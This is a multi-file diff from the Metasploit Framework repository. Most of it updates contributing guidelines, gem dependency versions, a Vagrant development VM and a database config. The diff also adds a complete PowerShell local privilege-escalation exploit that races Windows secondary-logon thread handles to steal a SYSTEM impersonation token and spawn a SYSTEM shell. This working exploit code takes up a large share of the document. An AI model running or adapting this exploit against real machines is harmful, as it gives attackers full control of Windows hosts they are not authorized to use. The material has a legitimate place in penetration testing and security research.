* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
@@ -56,6 +58,10 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
@@ -102,6 +108,8 @@ already way ahead of the curve, so keep it up!
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
|
||||
+95
-57
@@ -1,11 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.2)
|
||||
metasploit-framework (4.12.22)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
bcrypt
|
||||
bit-struct
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -13,13 +14,16 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.11)
|
||||
metasploit-payloads (= 1.1.13)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.0.6)
|
||||
msgpack
|
||||
net-ssh
|
||||
network_interface
|
||||
nokogiri
|
||||
octokit
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
@@ -28,36 +32,47 @@ PATH
|
||||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
rex-java
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyzip
|
||||
sqlite3
|
||||
sshkey
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
windows_error
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (4.2.6)
|
||||
actionview (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionpack (4.2.7.1)
|
||||
actionview (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionview (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activemodel (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.6)
|
||||
activemodel (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activerecord (4.2.7.1)
|
||||
activemodel (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.6)
|
||||
activesupport (4.2.7.1)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
@@ -75,6 +90,7 @@ GEM
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.1)
|
||||
addressable
|
||||
@@ -87,22 +103,22 @@ GEM
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.3.3)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.4.0)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 3.2.0)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-core (1.4.0)
|
||||
gherkin (~> 3.2.0)
|
||||
cucumber-rails (1.4.3)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.4)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 3)
|
||||
mime-types (>= 1.16, < 4)
|
||||
nokogiri (~> 1.5)
|
||||
railties (>= 3, < 5)
|
||||
railties (>= 3, < 5.1)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
docile (1.1.5)
|
||||
@@ -114,10 +130,10 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.9.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.10)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (3.2.0)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
@@ -129,7 +145,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.1)
|
||||
metasploit-credential (2.0.3)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
@@ -141,7 +157,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.11)
|
||||
metasploit-payloads (1.1.13)
|
||||
metasploit_data_models (2.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -152,22 +168,26 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.6)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.0)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0221)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.6)
|
||||
multi_json (1.12.0)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.9.0)
|
||||
msgpack (1.0.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
net-ssh (3.2.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
nokogiri (1.6.8)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
pkg-config (~> 1.1.7)
|
||||
octokit (4.3.0)
|
||||
sawyer (~> 0.7.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
@@ -175,11 +195,12 @@ GEM
|
||||
pcaprub (0.12.4)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
pkg-config (1.1.7)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.3)
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
@@ -194,35 +215,50 @@ GEM
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.6)
|
||||
actionpack (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
railties (4.2.7.1)
|
||||
actionpack (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.1.2)
|
||||
rake (11.2.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-arch (0.1.1)
|
||||
rex-text
|
||||
rex-java (0.1.2)
|
||||
rex-ole (0.1.2)
|
||||
rex-text
|
||||
rex-powershell (0.1.1)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.4.4)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-expectations (3.4.0)
|
||||
rspec-core (3.5.2)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-mocks (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-rails (3.4.2)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.4.0)
|
||||
rspec-expectations (~> 3.4.0)
|
||||
rspec-mocks (~> 3.4.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-support (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.1)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.7.0)
|
||||
@@ -230,23 +266,25 @@ GEM
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.11.2)
|
||||
simplecov (0.12.0)
|
||||
docile (~> 1.1.0)
|
||||
json (~> 1.8)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.11)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.4)
|
||||
tzinfo-data (1.2016.6)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.0.2)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
yard (0.9.5)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -268,4 +306,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.12.3
|
||||
1.12.5
|
||||
|
||||
Vendored
+50
@@ -0,0 +1,50 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
# TODO: find a minimal image that keeps up-to-date and
|
||||
# supports multiple providers
|
||||
#config.vm.box = "phusion/ubuntu-14.04-amd64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
config.vm.provider "virtualbox" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
%w(.vimrc .gitconfig).each do |f|
|
||||
local = File.expand_path "~/#{f}"
|
||||
if File.exist? local
|
||||
config.vm.provision "file", source: local, destination: f
|
||||
end
|
||||
end
|
||||
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", privileged: false, inline: step
|
||||
end
|
||||
config.vm.provision "file", source: "config/database.yml.vagrant", destination: "~/.msf4/database.yml"
|
||||
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql postgres -tAc \"SELECT 1 FROM pg_roles WHERE rolname='vagrant'\" | grep -q 1 || sudo -u postgres createuser -s -e -w vagrant && sudo -u postgres psql -c \"ALTER USER vagrant with ENCRYPTED PASSWORD 'vagrant';\""
|
||||
|
||||
["msf_dev_db", "msf_test_db"].each do |database|
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql -lqt | awk '{ print $1 }' | grep -w #{database} | wc -l | grep -q 1 || sudo -u postgres createdb --owner vagrant #{database}"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,18 @@
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: msf_dev_db
|
||||
username: vagrant
|
||||
password: vagrant
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
production: &production
|
||||
<<: *pgsql
|
||||
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: msf_test_db
|
||||
username: vagrant
|
||||
wassword: vagrant
|
||||
@@ -1,3 +1,5 @@
|
||||
Metasploit::Framework::Application.configure do
|
||||
config.log_level = :info
|
||||
if defined? Metasploit::Framework::Application
|
||||
Metasploit::Framework::Application.configure do
|
||||
config.log_level = :info
|
||||
end
|
||||
end
|
||||
|
||||
+347
@@ -0,0 +1,347 @@
|
||||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
|
||||
for ($i=0; $i -lt 1; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
#---
|
||||
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
||||
#---
|
||||
# Missing this check used to cause the exploit to fail sometimes.
|
||||
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
||||
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
||||
# reliable now!
|
||||
#---
|
||||
if (!$CallResult) {
|
||||
continue
|
||||
}
|
||||
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
